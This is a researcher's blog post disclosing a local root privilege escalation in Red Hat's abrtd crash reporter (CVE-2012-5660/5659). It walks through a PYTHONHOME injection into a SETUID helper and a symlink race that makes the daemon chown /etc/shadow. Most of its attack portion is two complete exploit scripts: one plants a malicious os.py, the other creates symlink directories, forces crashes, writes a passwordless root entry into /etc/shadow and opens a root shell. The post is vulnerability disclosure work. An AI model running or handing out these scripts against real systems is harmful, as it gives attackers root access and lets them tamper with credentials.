2013/04/30
tags: abrtd redhat vulnerability CVE-2012-5660 CVE-2012-5659
Red Hat Linux's Automatic Bug Reporting Tool
(or abrt
) watches for system application or kernel crashes
and then performs administrator configurable actions such as writing
out a core file. (Ubuntu has something similar in the form of whoopsie
).
Security conscious administrators should be aware that both of these tools include options to perform remote reporting of crashes.
I discovered a local privilege escalation in the abrtd
daemon 2.0.8
of Red Hat Linux 6.3. Attacker requires only a local user account to
gain root. Red Hat's bug report states that an attacker requires abrt
user privilege but as we shall see this is easy to obtain. (Miloslav Trmač
independently discovered this first part of the attack so there are two
CVEs for this RHSA).
abrt
user privileges by abusing the environment in the SETUID wrapper. (Note this is already enough to read other users' core files)./var/spool/abrt
, containing symlinks to sensitive files.abrtd
to come along (as root
) and chown(2)
those symlinks' targets to user abrt
.I used /etc/shadow
as a suitable example of a sensitive file, writing
a single line into it to provide a root
account with no password.
/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
is SETUID
user abrt
and world-executable./usr/bin/abrt-action-install-debuginfo
.PYTHONHOME
, PYTHONPATH
(and
probably more that you can think of).abrt-action-install-debuginfo-to-abrt-cache.c:main()
:
/* Clear dangerous stuff from env */ static const char forbid[] = "LD_LIBRARY_PATH" "" "LD_PRELOAD" "" "LD_TRACE_LOADED_OBJECTS" "" "LD_BIND_NOW" "" "LD_AOUT_LIBRARY_PATH" "" "LD_AOUT_PRELOAD" "" "LD_NOWARN" "" "LD_KEEPDIR" "" ; const char *p = forbid; do { unsetenv(p); p += strlen(p) + 1; } while (*p);
abrtd
runs as root.abrtd
creates directories in /var/spool/abrtd
with predictable
names based on the TOD (granularity 1s) and PID (allocated
sequentially in Red Hat by default).abrtd
tries
again by appending .new
to the directory name. If the .new
directory exists it doesn't seem to care.root
.abrtd
then uses chown(2)
to fix the ownership (rather than
fchown(2)
) so it follows symlinks.abrt-hook-ccpp.c:main()
:
strcpy(source_filename + source_base_ofs, "maps"); strcpy(dest_base, FILENAME_MAPS); copy_file(source_filename, dest_filename, 0640); IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid));
sploit.py
) into a local copy of the os.py
library file,
sets PYTHONHOME
to point to it
and calls the SETUID executable /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
./usr/bin/abrt-action-install-debuginfo
.
PYTHONHOME
./var/spool/abrt
(owned by user abrt
) with directories with names like ccpp-2012-12-14-18:05:59-2424
(where the time in the directory name is the end (59th second) of the current minute) and with symlinks {maps,limits,open_fds}
→ /etc/shadow
.sleep(1)
repeatedly by sending it SIGABRT
, thus triggering abrtd
.abrtd
will chown(2)
the target of the symlinks (/etc/shadow
) to user abrt
.abrt
) can then overwrite shadow
with our own data (a password-less root login entry) and invoke a root shell via su(1)
.attempts
variable and
sleep periods to get this to work.#!/bin/bash exe=/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache libdir=$PWD/lib64/python2.6 echo "Setting up fake python library in $libdir" mkdir -p $libdir rsync -a --exclude '*.py?' /usr/lib64/python2.6/* $libdir echo "Munging $libdir/os.py" cat >> $libdir/os.py << EOF import posix # can't hit os.* from inside os posix.unsetenv("PYTHONHOME") # done with fake lib posix.system("$PWD/sploit.py") posix._exit(0) EOF # Set PYTHONHOME to point to our munged libs export PYTHONHOME=$PWD # Run the wrapped python script, import munged libs echo "Exploiting $exe" ls -l $exe exec $exe
This is the sploit.py
script that does the actual work as the abrt
user when
the fake python os
module is imported:
#!/usr/bin/python import os import pwd import time from subprocess import call def get_time(): now = time.localtime() print "Time now: " + time.strftime("%Y-%m-%d-%H:%M:%S", now) return now def make_dir_and_links(dir): print "Making %s" % dir os.mkdir(dir) os.symlink("/etc/shadow", "%s/maps" % dir) os.symlink("/etc/shadow", "%s/limits" % dir) os.symlink("/etc/shadow", "%s/open_fds" % dir) attempts = 256 # no of dirs/crashes to create # Leave us some space (10s) to do the symlink stuffing now = get_time() while now.tm_sec > 49: time.sleep(1) now = get_time() tstamp = time.strftime("%Y-%m-%d-%H:%M:59", now) filepat = "/var/spool/abrt/ccpp-" + tstamp + "-%s" print "\nMaking dirs and symlinks" pid = os.getpid() for i in range(pid, pid+attempts): dir = filepat % i make_dir_and_links(dir) make_dir_and_links(dir+".new") # Perhaps we left too much time... to_sleep = 58.9 - time.localtime().tm_sec print "\nSleeping for %i seconds" % to_sleep time.sleep(to_sleep) print "\nCrashing" for i in range(attempts): call("/bin/sleep 10 & /bin/kill -ABRT $!", shell=True) abrt_uid = pwd.getpwnam("abrt").pw_uid print "\nWaiting for abrt to own %s" % target while (os.stat(target).st_uid != abrt_uid): time.sleep(1) print "\nOverwriting /etc/shadow" os.chmod("/etc/shadow", 0600) f = file("/etc/shadow", "w") f.write("root::::::::\n") f.close() print "\nInvoking /bin/bash as root" os.unsetenv("DISPLAY") # else xauth os.system("/bin/su -c /bin/bash") os._exit(0)